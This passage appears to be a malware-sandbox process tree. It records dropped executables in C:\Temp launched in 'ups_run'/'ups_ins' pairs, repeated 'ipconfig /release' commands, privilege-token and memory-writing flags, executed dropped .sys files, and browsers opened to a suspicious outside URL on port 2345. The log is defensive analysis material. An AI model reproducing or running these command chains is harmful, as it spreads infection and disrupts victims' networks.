      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3964
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2440
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtqljdbvtn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5244
  - - C:\Temp\i_vtqljdbvtn.exe
      C:\Temp\i_vtqljdbvtn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdxvqnigay.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5888
  - - C:\Temp\fdxvqnigay.exe
      C:\Temp\fdxvqnigay.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6016
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdxvqnigay.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3396
  - - C:\Temp\i_fdxvqnigay.exe
      C:\Temp\i_fdxvqnigay.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6028
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cavsnkfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2992
  - - C:\Temp\cavsnkfdxv.exe
      C:\Temp\cavsnkfdxv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4072
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2016
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cavsnkfdxv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5776
  - - C:\Temp\i_cavsnkfdxv.exe
      C:\Temp\i_cavsnkfdxv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxusmkecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3332
  - - C:\Temp\cxusmkecwu.exe
      C:\Temp\cxusmkecwu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4660
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4636
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxusmkecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4980
  - - C:\Temp\i_cxusmkecwu.exe
      C:\Temp\i_cxusmkecwu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1888
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecausmkecx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2596
  - - C:\Temp\ecausmkecx.exe
      C:\Temp\ecausmkecx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5328
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecausmkecx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2844
  - - C:\Temp\i_ecausmkecx.exe
      C:\Temp\i_ecausmkecx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trpmhecwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4860
  - - C:\Temp\trpmhecwuo.exe
      C:\Temp\trpmhecwuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4216
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:468
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trpmhecwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6124
  - - C:\Temp\i_trpmhecwuo.exe
      C:\Temp\i_trpmhecwuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomgeywuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3040
  - - C:\Temp\wuomgeywuo.exe
      C:\Temp\wuomgeywuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1548
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4768
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wuomgeywuo.exe ups_ins
    3⤵
    PID:1628
  - - C:\Temp\i_wuomgeywuo.exe
      C:\Temp\i_wuomgeywuo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qligeytqlj.exe ups_run
    3⤵
    PID:3256
  - - C:\Temp\qligeytqlj.exe
      C:\Temp\qligeytqlj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3516
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5552
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3264
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qligeytqlj.exe ups_ins
    3⤵
    PID:4472
  - - C:\Temp\i_qligeytqlj.exe
      C:\Temp\i_qligeytqlj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\igdyvtnlgd.exe ups_run
    3⤵
    PID:4092
  - - C:\Temp\igdyvtnlgd.exe
      C:\Temp\igdyvtnlgd.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3324
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5524
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_igdyvtnlgd.exe ups_ins
    3⤵
    PID:1356
  - - C:\Temp\i_igdyvtnlgd.exe
      C:\Temp\i_igdyvtnlgd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1424
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ifdaysqlid.exe ups_run
    3⤵
    PID:5472
  - - C:\Temp\ifdaysqlid.exe
      C:\Temp\ifdaysqlid.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3968
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3644
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ifdaysqlid.exe ups_ins
    3⤵
    PID:4728
  - - C:\Temp\i_ifdaysqlid.exe
      C:\Temp\i_ifdaysqlid.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdavsnkfdx.exe ups_run
    3⤵
    PID:1108
  - - C:\Temp\fdavsnkfdx.exe
      C:\Temp\fdavsnkfdx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2540
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4476
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdavsnkfdx.exe ups_ins
    3⤵
    PID:5496
  - - C:\Temp\i_fdavsnkfdx.exe
      C:\Temp\i_fdavsnkfdx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxuspkhcau.exe ups_run
    3⤵
    PID:472
  - - C:\Temp\cxuspkhcau.exe
      C:\Temp\cxuspkhcau.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5792
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4108
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5360
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxuspkhcau.exe ups_ins
    3⤵
    PID:2872
  - - C:\Temp\i_cxuspkhcau.exe
      C:\Temp\i_cxuspkhcau.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1132
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causmkfzxu.exe ups_run
    3⤵
    PID:5984
  - - C:\Temp\causmkfzxu.exe
      C:\Temp\causmkfzxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3764
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5532
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2852
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causmkfzxu.exe ups_ins
    3⤵
    PID:5672
  - - C:\Temp\i_causmkfzxu.exe
      C:\Temp\i_causmkfzxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2720
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\czxrpjhecz.exe ups_run
    3⤵
    PID:3420
  - - C:\Temp\czxrpjhecz.exe
      C:\Temp\czxrpjhecz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5580
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_czxrpjhecz.exe ups_ins
    3⤵
    PID:3060
  - - C:\Temp\i_czxrpjhecz.exe
      C:\Temp\i_czxrpjhecz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5800
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywromgeyw.exe ups_run
    3⤵
    PID:4676
  - - C:\Temp\eywromgeyw.exe
      C:\Temp\eywromgeyw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywromgeyw.exe ups_ins
    3⤵
    PID:5988
  - - C:\Temp\i_eywromgeyw.exe
      C:\Temp\i_eywromgeyw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4636
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffa3050c188,0x7ffa3050c194,0x7ffa3050c1a0
      4⤵
      PID:4972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1916,i,10669002417059206339,8913187455935958823,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:11
      4⤵
      System Time Discovery
      PID:1732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1720,i,3739724808864099195,15932975243730704485,262144 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
      4⤵
      PID:5484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2396,i,15182254729197561828,5707000347684583725,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:13
      4⤵
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3556,i,986790806071478040,2414414302783140470,2097152 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
      4⤵
      PID:1052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,3349294429218046780,6395174278207552933,2097152 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      PID:5828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,6148209030536341222,4795189684333631459,2097152 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
      4⤵
      PID:1840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4344,i,15676790147577959225,4139337411362860200,2097152 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:9
      4⤵
      PID:3084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4336,i,7100379370047363372,12827521785613634612,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
      4⤵
      PID:1392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,5179717862261133566,3436263927290293814,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
      4⤵
      PID:3296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,2469987484551122454,16977371528116034037,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:14
      4⤵
      PID:4388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,13205760609751241314,4513613389917369932,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
      4⤵
      PID:4540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,13205760609751241314,4513613389917369932,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
      4⤵
      PID:992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6036,i,15854061069841163385,6116646684455650449,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
      4⤵
      PID:4712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,13942266946657755727,8135603359454127563,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:14
      4⤵
      PID:4568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4960,i,684407245948769181,7298516168700825344,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:14
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,12743650238331448245,16288819404807307516,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
      4⤵
      PID:4636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,16658695123073864410,12446896338265496986,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
      4⤵
      PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5696,i,1725229951113742997,7668832028123229832,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:14
      4⤵
      PID:2952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,15506736677656889654,6839930060043497176,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:14
      4⤵
      PID:3080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,3272530502067010969,3883835598847054864,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:14
      4⤵
      PID:5904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6812,i,16717782759447259378,14954783917562059903,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:14
      4⤵
      PID:5976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6816,i,7776497319080554275,7483096013847034704,262144 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:10
      4⤵
      PID:5708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,4064100864816155932,16712659593177816330,524288 --field-trial-handle=2332,i,18065488664598304184,15208876078622484866,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:14
      4⤵
      PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5696

C:\Temp\urmkecwupmhezxrp.sys
C:\Temp\urmkecwupmhezxrp.sys
1⤵
- Executes dropped EXE
PID:3904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4208

C:\Temp\gecwurmjhb.sys
C:\Temp\gecwurmjhb.sys
1⤵
- Executes dropped EXE
PID:428

C:\Temp\omgebztrlj.sys
C:\Temp\omgebztrlj.sys
1⤵
- Executes dropped EXE
PID:1788

C:\Temp\toljdbwqol.sys
C:\Temp\toljdbwqol.sys
1⤵
- Executes dropped EXE
PID:5632

C:\Temp\bvtnljdbvt.sys
C:\Temp\bvtnljdbvt.sys
1⤵
- Executes dropped EXE
PID:1424

C:\Temp\ifdxsqniga.sys
C:\Temp\ifdxsqniga.sys
1⤵
- Executes dropped EXE
